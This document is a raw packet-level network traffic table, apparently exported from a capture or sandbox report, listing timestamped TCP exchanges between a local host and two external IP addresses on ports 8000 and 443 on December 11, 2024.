Dec 11, 2024 13:00:13.791033030 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:14.058995962 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:14.291023016 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:14.561672926 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:14.806437016 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:15.083554029 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:15.321940899 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:15.597259045 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:15.837568998 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:16.113010883 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:16.352952957 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:16.613991976 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:16.868540049 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:17.145030975 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:33.739676952 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:34.008651972 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:34.160909891 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:34.208332062 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:34.395853043 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:34.654568911 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:51.998915911 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:51.998966932 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:51.999161959 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:51.999269962 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:51.999290943 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.236685991 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.237396955 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:52.237416029 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.238698959 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:52.238709927 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854146004 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854276896 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854315042 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854343891 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854401112 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854677916 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:52.854677916 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:52.854697943 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854868889 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:52.854886055 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.854893923 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:52.855247974 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.076632977 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.076772928 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.076957941 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.076999903 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.077200890 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.077312946 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.077390909 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.077408075 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.077759981 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.077861071 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.078054905 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.078157902 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.078212976 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.078239918 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.078512907 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.125961065 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.125972033 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.172801971 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.304100990 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.304184914 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.304523945 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.304577112 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.304610968 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.304743052 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.304764986 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.305116892 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.305126905 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.305176020 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.305316925 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.305480957 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.305481911 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.305490971 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.305972099 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.306020021 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.306152105 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.306313992 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.306313992 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.306329012 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.306472063 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.525281906 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.525444984 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.525495052 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.525757074 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.525794983 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.526093006 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.526134968 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.526174068 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.526417017 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.526880026 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.526976109 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.527049065 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.527089119 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.527225971 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.527488947 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.527781010 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.528028011 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.528028011 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.528068066 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.528085947 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.528367043 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.750108004 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.750340939 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.750531912 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.750533104 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.750581980 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.750901937 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.751357079 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.751476049 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.751512051 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.751773119 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.751800060 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.752032042 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.752274990 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.752502918 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.752527952 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.752850056 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.752876997 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.753034115 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.753230095 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.753324986 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.753458023 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.753629923 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.753654003 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.753844976 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.754173040 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.754283905 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.754316092 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.754571915 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.754594088 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.797683954 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.976269960 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.976449013 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.976495981 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.976701975 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.976749897 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.977540970 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.977711916 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.977755070 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.977962971 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.977981091 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.978040934 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.978254080 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.978254080 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.978276014 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.978888988 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.979023933 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.979089975 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.979103088 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.979270935 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.979270935 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.979880095 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.980009079 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.980066061 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.980079889 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.980227947 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.980227947 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.980849028 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.980957985 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.980997086 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.981014013 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.981194019 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.981194019 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.981884003 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.982093096 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:53.982108116 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:53.982278109 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.200932026 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.201198101 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.201956034 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.201956987 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.201967955 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.202455997 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.202523947 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.202641010 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.203186989 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.203196049 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.203521967 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.203641891 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.203825951 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.204454899 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.204461098 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.204612017 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.204864025 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.205472946 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.205504894 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.205634117 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.205640078 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.205823898 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.206598997 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.207449913 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.207462072 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.208714962 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.208726883 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.209181070 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.427227020 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.427258968 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.428262949 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.428272009 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.429204941 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.429217100 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.429248095 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.429253101 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.430234909 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.431756020 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.431763887 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.432097912 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.432102919 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.432291031 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.433712959 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.433721066 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.433883905 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.434071064 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.434071064 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.434071064 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.434071064 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.434076071 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.434247017 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.434632063 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.434820890 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.651726007 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.651751995 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.652663946 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.652663946 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.652673960 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.653618097 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.653646946 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.653656960 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.654475927 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.654475927 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.654481888 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.654910088 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.654973030 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.655452967 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.655452967 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.655456066 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.656362057 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.656755924 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.656760931 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.658334970 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.658349991 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.658689976 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.658690929 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.658695936 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.668565989 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.668576956 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.668708086 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.668714046 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.668893099 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.668893099 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.669074059 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.877279997 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.877290964 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.878005028 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.878005028 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.878005028 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.878005028 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.878005028 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.878015995 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.878293991 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.879221916 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.879231930 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.879378080 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.879561901 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.879561901 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.879565954 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.879754066 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.881135941 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.881145000 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.881407022 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.881411076 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.881588936 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.881588936 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.881588936 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.882036924 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.882181883 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.882227898 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.884258032 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.884284019 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.884677887 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.884677887 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.884677887 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.884684086 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.886194944 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.886236906 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.886564970 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.886564970 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.886564970 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.886564970 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.886571884 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.888082981 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.888092041 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.888325930 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.888325930 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.888343096 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.888506889 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.889000893 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.889067888 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.889163017 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.889167070 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:54.889352083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:54.889352083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.102377892 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.102391958 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.103043079 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.103043079 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.103043079 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.103043079 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.103043079 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.103059053 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.103228092 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.104265928 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.104279995 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.104424953 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.104424953 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.104608059 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.104608059 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.104614973 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.104820967 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.104820967 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.106153965 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.106165886 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.106359959 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.106359959 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.106445074 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.106445074 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.106452942 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.106661081 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.108105898 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.108119011 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.108268023 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.108447075 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.108452082 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.108639956 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.110121012 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.110132933 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.110266924 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.110331059 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.110331059 CET	49768	443	192.168.11.20	104.21.1.51
